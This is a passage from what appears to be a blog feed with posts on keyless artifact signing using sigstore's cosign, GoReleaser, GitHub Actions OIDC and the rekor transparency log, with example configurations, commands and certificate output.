signing their source tarballs at all, because they estimated the process as too difficult and toilsome to maintain.
Altogether, PGP (especially GnuPG) is a horrific software we rely on and it is surprising that nobody tried to
fix this over the last years. Until now&hellip;</p>
<p>Today, I would like to present a new process for releasing source tarballs (and any other binary large object) on Github, fully automated on Github Actions
and fully keyless. The little secret behind this new process is the new sigstore stack. If you are a continuous reader of my articles you might read about
<a href="/posts/what-are-ephemeral-certificates">ephemeral keys</a> or <a href="/posts/first-look-into-cosign">keyless signatures for blobs</a>. Cosign&rsquo;s new version <a href="https://github.com/sigstore/cosign/releases/tag/v1.3.1">v1.3.1</a> got a little new feature, that makes verifying these source tarballs or blobs much easier. With cosign v1.3.1, cosign is able to download the public certificate from the public
rekor instance (the transparency log, comparable to <a href="https://crt.sh/">crt.sh</a> just for signatures) automatically. The user just has to provide the artifact and the signature.
I have already prepared a new release of my diceware-alike password generator <a href="https://github.com/shibumi/mnemonic">mnemonic</a>. It is one of my first Go projects, hence the code base kind of sucks, but it is a good example for
presenting the process. If you download the newest version and verify it with cosign v1.3.1 you will see this:</p>
<pre><code>$ COSIGN_EXPERIMENTAL=1  cosign verify-blob mnemonic-0.3.1.tar.gz --signature mnemonic-0.3.1.tar.gz.sig
Certificate is trusted by Fulcio Root CA
Email: []
Verified OK
tlog entry verified with uuid: &quot;228527476f82c59641e27b8fb9b32f5fadbe47cf42c544ea97dc798490c4c14e&quot; index: 853327
</code></pre><p>Sadly, cosign does not show all information in the public certificate. The email field is empty, because the certificate pair was not created via the OIDC issuer (<a href="/posts/first-look-into-cosign">like in my first blog article
about cosign</a>). Instead, the ephemeral certificate key pair has been created through the workload identity Github Actions. Feel free to verify this via downloading
the public certificate and inspecting it with openssl:</p>
<pre><code>$ rekor-cli get --uuid 228527476f82c59641e27b8fb9b32f5fadbe47cf42c544ea97dc798490c4c14e --format json | jq -r '.Body.RekordObj.signature.publicKey.content' | base64 -d &gt; pub.crt
$ openssl x509 -noout -text -in pub.crt
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            5e:70:0d:3d:19:66:85:d7:1d:00:41:b8:9f:74:8c:39:ed:bf:d2
        Signature Algorithm: ecdsa-with-SHA384
        Issuer: O = sigstore.dev, CN = sigstore
        Validity
            Not Before: Nov 13 22:11:53 2021 GMT
            Not After : Nov 13 22:31:52 2021 GMT
        Subject:
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (256 bit)
                pub:
                    04:67:4c:43:f5:e1:04:c5:20:ec:f9:28:c0:bf:80:
                    1c:ce:08:5e:f8:14:5d:88:93:50:be:b0:d8:1a:77:
                    aa:8b:16:f6:d4:ca:bb:7a:2c:f2:22:15:22:6c:83:
                    18:37:13:db:31:0b:ca:13:ba:a5:d6:34:9b:85:cc:
                    6e:21:2b:3a:b6
                ASN1 OID: prime256v1
                NIST CURVE: P-256
        X509v3 extensions:
            X509v3 Key Usage: critical
                Digital Signature
            X509v3 Extended Key Usage:
                Code Signing
            X509v3 Basic Constraints: critical
                CA:FALSE
            X509v3 Subject Key Identifier:
                08:24:98:BE:E1:A6:99:E7:06:D0:1C:F8:38:5C:87:0D:7D:3B:C6:13
            X509v3 Authority Key Identifier:
                keyid:C8:C5:1D:00:41:9A:24:29:32:51:24:EB:0D:AE:4A:ED:4A:06:D3:EC

            Authority Information Access:
                CA Issuers - URI:http://privateca-content-603fe7e7-0000-2227-bf75-f4f5e80d2954.storage.googleapis.com/ca36a1e96242b9fcb146/ca.crt

            X509v3 Subject Alternative Name: critical
                URI:https://github.com/shibumi/mnemonic/.github/workflows/goreleaser.yml@refs/tags/v0.3.1
            1.3.6.1.4.1.57264.1.1:
                https://token.actions.githubusercontent.com
    Signature Algorithm: ecdsa-with-SHA384
         30:65:02:31:00:94:ff:ce:4e:c5:be:ee:29:01:de:0f:7a:9e:
         d1:fd:0a:c3:22:54:c3:a5:17:1c:8c:d2:8d:e6:88:20:1c:67:
         c9:dd:a8:fd:cc:d5:ac:39:1e:3a:d0:b4:24:c2:5a:5a:b7:02:
         30:5c:74:86:87:bc:5d:e3:5a:b7:49:98:17:9e:1a:e5:8c:ce:
         0a:3f:fb:f8:4b:50:67:e2:16:f4:41:0f:9c:7e:66:22:8d:3a:
         0b:a2:9b:45:3d:9f:80:fc:f7:d6:31:6c:fd
</code></pre><p>The interesting part is the subject alternative URI. It is this URI that will show you that the identity of this signature is connected to the github actions workflow
for my repository at the specific tag v0.3.1.</p>
<p>So much about the verification part. Now let us have a look on how to do this. You just need two files for replicating this behavior and I am confident this should work
with every programming language. GoReleaser can just build go binaries, but what stops us from using GoReleaser just for the sake of creating and signing source tarballs?
The benefit is that the github workflows file is pretty much the same for every project. Let us have a look on the .goreleaser.yaml file first:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="k">project_name</span><span class="p">:</span><span class="w"> </span>mnemonic<span class="w">
</span><span class="w"></span><span class="k">builds</span><span class="p">:</span><span class="w">
</span><span class="w">  </span>- <span class="k">ldflags</span><span class="p">:</span><span class="w">
</span><span class="w">      </span>- <span class="s2">&#34;-s -w&#34;</span><span class="w">
</span><span class="w">      </span>- <span class="s2">&#34;-extldflags=-zrelro&#34;</span><span class="w">
</span><span class="w">      </span>- <span class="s2">&#34;-extldflags=-znow&#34;</span><span class="w">
</span><span class="w">      </span>- <span class="s2">&#34;-X main.version={{.Version}}&#34;</span><span class="w">
</span><span class="w">      </span>- <span class="s2">&#34;-X main.commit={{.FullCommit}}&#34;</span><span class="w">
</span><span class="w">      </span>- <span class="s2">&#34;-X main.date={{.CommitDate}}&#34;</span><span class="w">
</span><span class="w">    </span><span class="k">env</span><span class="p">:</span><span class="w">
</span><span class="w">      </span>- <span class="s2">&#34;CGO_ENABLED=0&#34;</span><span class="w">
</span><span class="w">      </span>- <span class="s2">&#34;GO111MODULE=on&#34;</span><span class="w">
</span><span class="w">      </span>- <span class="s2">&#34;GOFLAGS=-mod=readonly -trimpath&#34;</span><span class="w">
</span><span class="w">    </span><span class="k">goos</span><span class="p">:</span><span class="w">
</span><span class="w">      </span>- linux<span class="w">
</span><span class="w">    </span><span class="k">goarch</span><span class="p">:</span><span class="w">
</span><span class="w">      </span>- amd64<span class="w">
</span><span class="w">    </span><span class="k">main</span><span class="p">:</span><span class="w"> </span>.<span class="w">
</span><span class="w"></span><span class="k">source</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">enabled</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="w"></span><span class="k">signs</span><span class="p">:</span><span class="w">
</span><span class="w">  </span>- <span class="k">cmd</span><span class="p">:</span><span class="w"> </span>cosign<span class="w">
</span><span class="w">    </span><span class="k">signature</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;${artifact}.sig&#34;</span><span class="w">
</span><span class="w">    </span><span class="k">args</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;sign-blob&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;--oidc-issuer=https://token.actions.githubusercontent.com&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;--output=${signature}&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;${artifact}&#34;</span><span class="p">]</span><span class="w">
</span><span class="w">    </span><span class="k">artifacts</span><span class="p">:</span><span class="w"> </span>all<span class="w">
</span></code></pre></div><p>The lines on top are all Go specific. Important for us are the last lines. With <code>source.enabled: true</code> we are activating the source tarball creation in GoReleaser.
The signing magic happens in <code>signs.args</code>. With the flag <code>--oidc-issuer</code> we are commanding cosign to use the Github Actions workload identity. This line works
fully independently. <strong>You do not need to create a key pair, secure it, load it via Github Secrets or creating it on the fly in the pipeline itself</strong>.
The pipeline&rsquo;s identity works as key via creating an ephemeral key pair for signing the artifact just once. The ephemeral certificate will expire after
30min and you do not need to care about long-time storage or anything else. Nobody else can sign a new artifact with this key pair when the key pair has expired.
The related Github workflow is as simple as the GoReleaser configuration above:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="w">  </span><span class="k">release</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">permissions</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">id-token</span><span class="p">:</span><span class="w"> </span>write<span class="w">
</span><span class="w">      </span><span class="k">contents</span><span class="p">:</span><span class="w"> </span>write<span class="w">
</span><span class="w">    </span><span class="k">runs-on</span><span class="p">:</span><span class="w"> </span>ubuntu-latest<span class="w">
</span><span class="w">    </span><span class="k">needs</span><span class="p">:</span><span class="w"> </span>test<span class="w">
</span><span class="w">    </span><span class="k">if</span><span class="p">:</span><span class="w"> </span>github.event_name<span class="w"> </span>==<span class="w"> </span><span class="s1">&#39;push&#39;</span><span class="w"> </span><span class="cp">&amp;&amp;</span><span class="w"> </span>contains(github.ref<span class="p">,</span><span class="w"> </span><span class="s1">&#39;refs/tags/&#39;</span>)<span class="w">
</span><span class="w">    </span><span class="k">steps</span><span class="p">:</span><span class="w">
</span><span class="w">      </span>- <span class="k">name</span><span class="p">:</span><span class="w"> </span>Checkout<span class="w">
</span><span class="w">        </span><span class="k">uses</span><span class="p">:</span><span class="w"> </span>actions/checkout@v2<span class="w">
</span><span class="w">        </span><span class="k">with</span><span class="p">:</span><span class="w">
</span><span class="w">          </span><span class="k">fetch-depth</span><span class="p">:</span><span class="w"> </span><span class="m">0</span><span class="w">
</span><span class="w">      </span>- <span class="k">name</span><span class="p">:</span><span class="w"> </span>Set<span class="w"> </span>up<span class="w"> </span>Go<span class="w">
</span><span class="w">        </span><span class="k">uses</span><span class="p">:</span><span class="w"> </span>actions/setup-go@v2<span class="w">
</span><span class="w">        </span><span class="k">with</span><span class="p">:</span><span class="w">
</span><span class="w">          </span><span class="k">go-version</span><span class="p">:</span><span class="w"> </span><span class="m">1.17</span><span class="w">
</span><span class="w">      </span>- <span class="k">name</span><span class="p">:</span><span class="w"> </span>install<span class="w"> </span>cosign<span class="w">
</span><span class="w">        </span><span class="k">uses</span><span class="p">:</span><span class="w"> </span>sigstore/cosign-installer@main<span class="w">
</span><span class="w">        </span><span class="k">with</span><span class="p">:</span><span class="w">
</span><span class="w">          </span><span class="k">cosign-release</span><span class="p">:</span><span class="w"> </span><span class="s1">&#39;v1.3.1&#39;</span><span class="w">
</span><span class="w">      </span>- <span class="k">name</span><span class="p">:</span><span class="w"> </span>Run<span class="w"> </span>GoReleaser<span class="w">
</span><span class="w">        </span><span class="k">uses</span><span class="p">:</span><span class="w"> </span>goreleaser/goreleaser-action@v2<span class="w">
</span><span class="w">        </span><span class="k">with</span><span class="p">:</span><span class="w">
</span><span class="w">          </span><span class="k">distribution</span><span class="p">:</span><span class="w"> </span>goreleaser<span class="w">
</span><span class="w">          </span><span class="k">version</span><span class="p">:</span><span class="w"> </span><span class="s1">&#39;v0.184.0&#39;</span><span class="w">
</span><span class="w">          </span><span class="k">args</span><span class="p">:</span><span class="w"> </span>release<span class="w"> </span>--rm-dist<span class="w">
</span><span class="w">        </span><span class="k">env</span><span class="p">:</span><span class="w">
</span><span class="w">          </span><span class="k">GITHUB_TOKEN</span><span class="p">:</span><span class="w"> </span>${{<span class="w"> </span>secrets.GITHUB_TOKEN<span class="w"> </span>}}<span class="w">
</span><span class="w">          </span><span class="k">COSIGN_EXPERIMENTAL</span><span class="p">:</span><span class="w"> </span><span class="m">1</span><span class="w">
</span></code></pre></div><p>For this to work, we need two set two permissions for the release pipeline. I suggest enabling these permissions only for the GoReleaser release and not for any testing.
The release pipeline should only start when a trusted maintainer sets a tag. This way, we are preventing other users from creating signed source tarballs via pull requests.
The pipeline installs Go, cosign and GoReleaser. The last two lines set the Github Actions Token and enable cosign&rsquo;s experimental features.</p>
<p>I hope this article is useful for open source project maintainers out there and I hope they will prefer this method over do not signing their code at all.</p>
<p>Some forecasts for the future:</p>
<ul>
<li>Cosign will get functionality for piping the created public certificate into a file.</li>
<li>GoReleaser will get functionality for releasing the public certificate as well (nice for double-checking: offline certificate + rekor transparency log)</li>
</ul>
<p>The sigstore infrastructure is not yet production ready, but safe to use. As far as I know transparency logs will transition into the new public production ready instance.
The experimental features will hopefully be general available soon.</p>
]]></content></item><item><title>What are ephemeral certificates?</title><link>https://shibumi.dev/posts/what-are-ephemeral-certificates/</link><pubDate>Thu, 11 Nov 2021 00:27:06 +0100</pubDate><guid>https://shibumi.dev/posts/what-are-ephemeral-certificates/</guid><description>This article is a short followup to my last article about cosign. I received many questions for my last article. The most common one was:
&amp;ldquo;But wait! If the certificates are only valid for 30 minutes, how are my users supposed to validate my artifacts?&amp;rdquo;
This is very common misconception and to be honest: I ran into the same trap at first. The terms &amp;ldquo;ephemeral&amp;rdquo; or &amp;ldquo;short-lived&amp;rdquo; do not refer to the signature validation.</description><content type="html"><![CDATA[<p>This article is a short followup to my <a href="/posts/first-look-into-cosign/">last article</a> about <a href="https://github.com/sigstore/cosign">cosign</a>.
I received many questions for my last article. The most common one was:</p>
<p>&ldquo;But wait! If the certificates are only valid for 30 minutes, how are my users supposed to validate my artifacts?&rdquo;</p>
<p>This is very common misconception and to be honest: I ran into the same trap at first. The terms &ldquo;ephemeral&rdquo; or &ldquo;short-lived&rdquo;
do not refer to the signature validation. Instead, these terms refer to the certificate generation itself. The goal of short-lived
certificates is to elimate the possible risks of private key leaks. Just imagine, we have a traditional long-lived certificate
and a private key stored on one of our servers. If one attacker manages to steal this certificate and private key, maybe even years
after the signature creation, the attacker will be able to craft a valid signature for their own malware with this certificate and key.
With a short-lived certificate this would not be possible, because even if the attacker has access to both (private key and certificate)
the attacker will not be able to craft a valid signature for the artifact, because the certificate has expired. The users are still able
to validate the originally signed artifact, because the signature of this artifact has been created in the valid time frame of the certificate.</p>
<p>To proof my statement, we can have a look on the signature of my latest blog article. First let us print the current date:</p>
<pre><code>$ date
Thu Nov 11 12:41:08 AM CET 2021
</code></pre><p>Then, let us create the artifact from my last article again. This is a simple &ldquo;hello world&rdquo; text file:</p>
<pre><code>$ echo &quot;hello world&quot; &gt; hello-world.txt
</code></pre><p>Next, we need the rekor transparency log of my last blog post. Feel free to manually check it. The used log index was: 832324.
With this log index we can download the used certificate and the signature for the artifact:</p>
<pre><code>$ rekor-cli get --log-index 832324 --format json | jq -r '.Body.RekordObj.signature.content'  &gt; hello-world.txt.sig
$ rekor-cli get --log-index 832324 --format json | jq -r '.Body.RekordObj.signature.publicKey.content' | base64 -d &gt; pub.crt
</code></pre><p>If we have a closer look on this certificate with openssl we can see that the certificate was only valid for approximately 20 minutes:</p>
<pre><code>$ openssl x509 -noout -text -in pub.crt
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            7d:e3:2e:ad:8e:d0:c8:7d:c2:54:f8:c0:ba:10:8b:4b:58:9f:29
        Signature Algorithm: ecdsa-with-SHA384
        Issuer: O = sigstore.dev, CN = sigstore
        Validity
            Not Before: Nov  7 03:44:02 2021 GMT
            Not After : Nov  7 04:04:01 2021 GMT
</code></pre><p>The signing process happened in this timeframe. This is why our signature is valid:</p>
<pre><code>$ COSIGN_EXPERIMENTAL=1 cosign verify-blob -cert pub.crt -signature hello-world.txt.sig hello-world.txt
No TUF root installed, using embedded CA certificate.
Certificate is trusted by Fulcio Root CA
Email: [chris@shibumi.dev]
Verified OK
tlog entry verified with uuid: &quot;ee4b2e80cef72f8d4e3f00d695bd796ffd9e17b9cfd18ba96947493c4ee19f62&quot; index: 832324
</code></pre><p>Awesome! We can just look up our past signatures via the rekor transparency log and use the signature + certificate to validate our artifact!
One possible usecase for this is: Ship your artifact + the public certificate + the signature to the user. Then, the user can
validate the artifact with the given public certificate and signature. For additional security, he can check the transparency log for the
given signature and certificate and validate if the certificate has been created by the correct OIDC identifier. In my case, this is my email.</p>
<p><strong>Addition from the 14th November 2021</strong></p>
<p>A few people asked me if it would be possible to fake the system time for creating a signature with a stolen expired certificate.
This is indeed possible for offline verification, but cosign queries the rekor transparency log on default. The rekor transparency
log uses the time-stamp protocol (TSP), also known as <a href="https://www.ietf.org/rfc/rfc3161.txt">RFC3161</a> for secure timestamps.
Therefore, it is highly recommended to verify all signatures against the rekor transparency log.
Cosign does this on default and cosign v1.3.1 even downloads the certificate from the transparency log on default.</p>
]]></content></item><item><title>Keyless signatures for blobs with cosign</title><link>https://shibumi.dev/posts/first-look-into-cosign/</link><pubDate>Sun, 07 Nov 2021 04:09:03 +0100</pubDate><guid>https://shibumi.dev/posts/first-look-into-cosign/</guid><description>While reading the cosign-installer I have stumbled upon these lines in the documentation:
- name:SigntheimageswithGitHubOIDC**notproductionready**run:cosignsign-oidc-issuerhttps://token.actions.githubusercontent.com${TAGS}env:TAGS:${{steps.docker_meta.outputs.tags}}COSIGN_EXPERIMENTAL:1The shown lines are a step of a Github Action and are still experimental, but very interesting. It allows to sign a docker image via making use of the OpenID Connect standard. OpenID Connect can be summarized as follows: If you login into Github, Github will create a number of tokens. These tokens are then associated with your Github Action and with these tokens you can sign any artifact.</description><content type="html"><![CDATA[<p>While reading the <a href="https://github.com/sigstore/cosign-installer">cosign-installer</a> I have stumbled upon these
lines in the documentation:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="w">      </span>- <span class="k">name</span><span class="p">:</span><span class="w"> </span>Sign<span class="w"> </span>the<span class="w"> </span>images<span class="w"> </span>with<span class="w"> </span>GitHub<span class="w"> </span>OIDC<span class="w"> </span><span class="cp">**not</span><span class="w"> </span>production<span class="w"> </span>ready<span class="cp">**</span><span class="w">
</span><span class="w">        </span><span class="k">run</span><span class="p">:</span><span class="w"> </span>cosign<span class="w"> </span>sign<span class="w"> </span>-oidc-issuer<span class="w"> </span>https<span class="p">:</span>//token.actions.githubusercontent.com<span class="w"> </span>${TAGS}<span class="w">
</span><span class="w">        </span><span class="k">env</span><span class="p">:</span><span class="w">
</span><span class="w">          </span><span class="k">TAGS</span><span class="p">:</span><span class="w"> </span>${{<span class="w"> </span>steps.docker_meta.outputs.tags<span class="w"> </span>}}<span class="w">
</span><span class="w">          </span><span class="k">COSIGN_EXPERIMENTAL</span><span class="p">:</span><span class="w"> </span><span class="m">1</span><span class="w">
</span></code></pre></div><p>The shown lines are a step of a Github Action and are still experimental, but very interesting.
It allows to sign a docker image via making use of the OpenID Connect standard.
OpenID Connect can be summarized as follows: If you login into Github, Github will create a number of tokens.
These tokens are then associated with your Github Action and with these tokens you can sign any artifact.
The <code>run</code> line above utilizes this feature and signs a docker image.</p>
<p>This whole process is called &ldquo;keyless&rdquo; signature or ambient credentials via workload identities. The word keyless can be a little bit misleading.
It does and does not refer to the existence of a cryptographic key. Implementation-wise, there is a key. Otherwise,
the whole private/public procedure would not work. But, on the same time you do not have to provide
a secret for generating this key. The process is secretless; at least on the first look. On the second look
you will realize that your Identity has become the secret. <a href="https://dlorenc.medium.com/a-bit-of-ambiance-comes-to-sigstore-f80d1d6b1c30">Dan Lorenc summarizes this as follows</a>:</p>
<blockquote>
<ol>
<li>A person logs into their Identity Provider (think Google, or Facebook).</li>
<li>The person requests an Identity Token from their provider.</li>
<li>The person hands that token to the other system (called the Relying Party) they want to login to (think, Sigstore)!</li>
<li>The relying party can verify this token, using data it knew about the Identity Provider ahead of time.</li>
</ol>
</blockquote>
<p>This whole story leads us to the actual topic of my article. I wanted to do the same, just without Github Actions.
I wanted to know if it is possible to sign an arbitrary binary large object (blob) with my identity via OIDC.
The answer is: <strong>yes</strong>. The process is undocumented and it took me a while to understand it.</p>
<p>First of all we need a file. Let us create a simple hello-world text file (it should work with real blobs, too):</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash">$ <span class="nb">echo</span> <span class="s2">&#34;hello world&#34;</span> &gt; hello-world.txt
$ sha256sum hello-world.txt
a948904f2f0f479b8f8197694b30184b0d2ed1c1cd2a1ec0fb85d299a192a447  hello-world.txt
</code></pre></div><p>Next, we will use the public sigstore instance to generate a new signature via our OpenID and upload it to a public rekor instance.
This feature is still experimental. I hope they will release it soon. During the process your browser will pop-up, forward you
to the public sigstore instance and ask you for a login. If you login, cosign will use your OpenID to sign the file.</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash">$ <span class="nv">COSIGN_EXPERIMENTAL</span><span class="o">=</span><span class="m">1</span> cosign sign-blob -rekor-url https://rekor.sigstore.dev -oidc-issuer https://oauth2.sigstore.dev/auth hello-world.txt
Using payload from: hello-world.txt
Generating ephemeral keys...
Retrieving signed certificate...
Your browser will now be opened to:
https://oauth2.sigstore.dev/auth/auth?access_type<span class="o">=</span>online<span class="p">&amp;</span><span class="nv">client_id</span><span class="o">=</span>sigstore<span class="p">&amp;</span><span class="nv">code_challenge</span><span class="o">=</span>Z2gsH9r-KorQ1lYpQLKz2Wjm-zE8vNB6s25yCEuN6wo<span class="p">&amp;</span><span class="nv">code_challenge_method</span><span class="o">=</span>S256<span class="p">&amp;</span><span class="nv">nonce</span><span class="o">=</span>20ZeevJ6RR6a4c4jgagE3HQ43ZR<span class="p">&amp;</span><span class="nv">redirect_uri</span><span class="o">=</span>http%3A%2F%2Flocalhost%3A5556%2Fauth%2Fcallback<span class="p">&amp;</span><span class="nv">response_type</span><span class="o">=</span>code<span class="p">&amp;</span><span class="nv">scope</span><span class="o">=</span>openid+email<span class="p">&amp;</span><span class="nv">state</span><span class="o">=</span>20ZeesbrPq3piRsUbLquOaUGI5Y
Successfully verified SCT...
signing with ephemeral certificate:
-----BEGIN CERTIFICATE-----
MIICojCCAimgAwIBAgITfeMurY7QyH3CVPjAuhCLS1ifKTAKBggqhkjOPQQDAzAq
MRUwEwYDVQQKEwxzaWdzdG9yZS5kZXYxETAPBgNVBAMTCHNpZ3N0b3JlMB4XDTIx
MTEwNzAzNDQwMloXDTIxMTEwNzA0MDQwMVowADBZMBMGByqGSM49AgEGCCqGSM49
AwEHA0IABHlCpBR9fYSgplx+k5dOgoiWBLG51xJQOrys+h0dTKP3LRVQpmGSW7S+
HeMjPICrFv+9fLLuf6qhiZDaNDNLAZKjggFWMIIBUjAOBgNVHQ8BAf8EBAMCB4Aw
EwYDVR0lBAwwCgYIKwYBBQUHAwMwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU52CM
yuCMjYUDleSMbSQzYGdL8sowHwYDVR0jBBgwFoAUyMUdAEGaJCkyUSTrDa5K7UoG
0+wwgY0GCCsGAQUFBwEBBIGAMH4wfAYIKwYBBQUHMAKGcGh0dHA6Ly9wcml2YXRl
Y2EtY29udGVudC02MDNmZTdlNy0wMDAwLTIyMjctYmY3NS1mNGY1ZTgwZDI5NTQu
c3RvcmFnZS5nb29nbGVhcGlzLmNvbS9jYTM2YTFlOTYyNDJiOWZjYjE0Ni9jYS5j
cnQwHwYDVR0RAQH/BBUwE4ERY2hyaXNAc2hpYnVtaS5kZXYwLAYKKwYBBAGDvzAB
AQQeaHR0cHM6Ly9naXRodWIuY29tL2xvZ2luL29hdXRoMAoGCCqGSM49BAMDA2cA
MGQCMFSPoC87yJ9vzbA9r/axlCoUwM7seSTRjd/AofdbkIhu+PnKuVjy157iRPyF
ioPCFAIwaVl6esuRLALWBSU4ePbTDssEAwyn7X5XS+oHmyET/Ba9IGRxq+Mce20B
Wc4CreCB
-----END CERTIFICATE-----

tlog entry created with index: <span class="m">832324</span>
MEQCICKv+6N4KTrTkcV3Sc3E1ydvemWr+siTVcgtG5GPG6w7AiAbQnwgwR8tmy7XAOCx0Xox5inc3rj8v8a02U7bpSsXQw<span class="o">==</span>
</code></pre></div><p>The output can be broken up in the following parts. First there is the generated ephemeral certificate:</p>
<pre><code>-----BEGIN CERTIFICATE-----
MIICojCCAimgAwIBAgITfeMurY7QyH3CVPjAuhCLS1ifKTAKBggqhkjOPQQDAzAq
MRUwEwYDVQQKEwxzaWdzdG9yZS5kZXYxETAPBgNVBAMTCHNpZ3N0b3JlMB4XDTIx
MTEwNzAzNDQwMloXDTIxMTEwNzA0MDQwMVowADBZMBMGByqGSM49AgEGCCqGSM49
AwEHA0IABHlCpBR9fYSgplx+k5dOgoiWBLG51xJQOrys+h0dTKP3LRVQpmGSW7S+
HeMjPICrFv+9fLLuf6qhiZDaNDNLAZKjggFWMIIBUjAOBgNVHQ8BAf8EBAMCB4Aw
EwYDVR0lBAwwCgYIKwYBBQUHAwMwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU52CM
yuCMjYUDleSMbSQzYGdL8sowHwYDVR0jBBgwFoAUyMUdAEGaJCkyUSTrDa5K7UoG
0+wwgY0GCCsGAQUFBwEBBIGAMH4wfAYIKwYBBQUHMAKGcGh0dHA6Ly9wcml2YXRl
Y2EtY29udGVudC02MDNmZTdlNy0wMDAwLTIyMjctYmY3NS1mNGY1ZTgwZDI5NTQu
c3RvcmFnZS5nb29nbGVhcGlzLmNvbS9jYTM2YTFlOTYyNDJiOWZjYjE0Ni9jYS5j
cnQwHwYDVR0RAQH/BBUwE4ERY2hyaXNAc2hpYnVtaS5kZXYwLAYKKwYBBAGDvzAB
AQQeaHR0cHM6Ly9naXRodWIuY29tL2xvZ2luL29hdXRoMAoGCCqGSM49BAMDA2cA
MGQCMFSPoC87yJ9vzbA9r/axlCoUwM7seSTRjd/AofdbkIhu+PnKuVjy157iRPyF
ioPCFAIwaVl6esuRLALWBSU4ePbTDssEAwyn7X5XS+oHmyET/Ba9IGRxq+Mce20B
Wc4CreCB
-----END CERTIFICATE-----
</code></pre><p>Then you have the tlog index number: <code>832324</code>. And the last line is the generated signature, encoded in base64.
The tlog index number is interesting, because this number refers to the transparency log entry in the public rekor instance.
The transparency log of rekor will store any signature operation. You can take a more detailed look on such an entry with the
rekor-cli tool:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash">$ rekor-cli get --log-index <span class="m">832324</span> --format json <span class="p">|</span> jq
</code></pre></div><div class="highlight"><pre class="chroma"><code class="language-json" data-lang="json"><span class="p">{</span>
  <span class="nt">&#34;Attestation&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
  <span class="nt">&#34;AttestationType&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
  <span class="nt">&#34;Body&#34;</span><span class="p">:</span> <span class="p">{</span>
    <span class="nt">&#34;RekordObj&#34;</span><span class="p">:</span> <span class="p">{</span>
      <span class="nt">&#34;data&#34;</span><span class="p">:</span> <span class="p">{</span>
        <span class="nt">&#34;hash&#34;</span><span class="p">:</span> <span class="p">{</span>
          <span class="nt">&#34;algorithm&#34;</span><span class="p">:</span> <span class="s2">&#34;sha256&#34;</span><span class="p">,</span>
          <span class="nt">&#34;value&#34;</span><span class="p">:</span> <span class="s2">&#34;a948904f2f0f479b8f8197694b30184b0d2ed1c1cd2a1ec0fb85d299a192a447&#34;</span>
        <span class="p">}</span>
      <span class="p">},</span>
      <span class="nt">&#34;signature&#34;</span><span class="p">:</span> <span class="p">{</span>
        <span class="nt">&#34;content&#34;</span><span class="p">:</span> <span class="s2">&#34;MEQCICKv+6N4KTrTkcV3Sc3E1ydvemWr+siTVcgtG5GPG6w7AiAbQnwgwR8tmy7XAOCx0Xox5inc3rj8v8a02U7bpSsXQw==&#34;</span><span class="p">,</span>
        <span class="nt">&#34;format&#34;</span><span class="p">:</span> <span class="s2">&#34;x509&#34;</span><span class="p">,</span>
        <span class="nt">&#34;publicKey&#34;</span><span class="p">:</span> <span class="p">{</span>
          <span class="nt">&#34;content&#34;</span><span class="p">:</span> <span class="s2">&#34;LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUNvakNDQWltZ0F3SUJBZ0lUZmVNdXJZN1F5SDNDVlBqQXVoQ0xTMWlmS1RBS0JnZ3Foa2pPUFFRREF6QXEKTVJVd0V3WURWUVFLRXd4emFXZHpkRzl5WlM1a1pYWXhFVEFQQmdOVkJBTVRDSE5wWjNOMGIzSmxNQjRYRFRJeApNVEV3TnpBek5EUXdNbG9YRFRJeE1URXdOekEwTURRd01Wb3dBREJaTUJNR0J5cUdTTTQ5QWdFR0NDcUdTTTQ5CkF3RUhBMElBQkhsQ3BCUjlmWVNncGx4K2s1ZE9nb2lXQkxHNTF4SlFPcnlzK2gwZFRLUDNMUlZRcG1HU1c3UysKSGVNalBJQ3JGdis5ZkxMdWY2cWhpWkRhTkROTEFaS2pnZ0ZXTUlJQlVqQU9CZ05WSFE4QkFmOEVCQU1DQjRBdwpFd1lEVlIwbEJBd3dDZ1lJS3dZQkJRVUhBd013REFZRFZSMFRBUUgvQkFJd0FEQWRCZ05WSFE0RUZnUVU1MkNNCnl1Q01qWVVEbGVTTWJTUXpZR2RMOHNvd0h3WURWUjBqQkJnd0ZvQVV5TVVkQUVHYUpDa3lVU1RyRGE1SzdVb0cKMCt3d2dZMEdDQ3NHQVFVRkJ3RUJCSUdBTUg0d2ZBWUlLd1lCQlFVSE1BS0djR2gwZEhBNkx5OXdjbWwyWVhSbApZMkV0WTI5dWRHVnVkQzAyTURObVpUZGxOeTB3TURBd0xUSXlNamN0WW1ZM05TMW1OR1kxWlRnd1pESTVOVFF1CmMzUnZjbUZuWlM1bmIyOW5iR1ZoY0dsekxtTnZiUzlqWVRNMllURmxPVFl5TkRKaU9XWmpZakUwTmk5allTNWoKY25Rd0h3WURWUjBSQVFIL0JCVXdFNEVSWTJoeWFYTkFjMmhwWW5WdGFTNWtaWFl3TEFZS0t3WUJCQUdEdnpBQgpBUVFlYUhSMGNITTZMeTluYVhSb2RXSXVZMjl0TDJ4dloybHVMMjloZFhSb01Bb0dDQ3FHU000OUJBTURBMmNBCk1HUUNNRlNQb0M4N3lKOXZ6YkE5ci9heGxDb1V3TTdzZVNUUmpkL0FvZmRia0lodStQbkt1Vmp5MTU3aV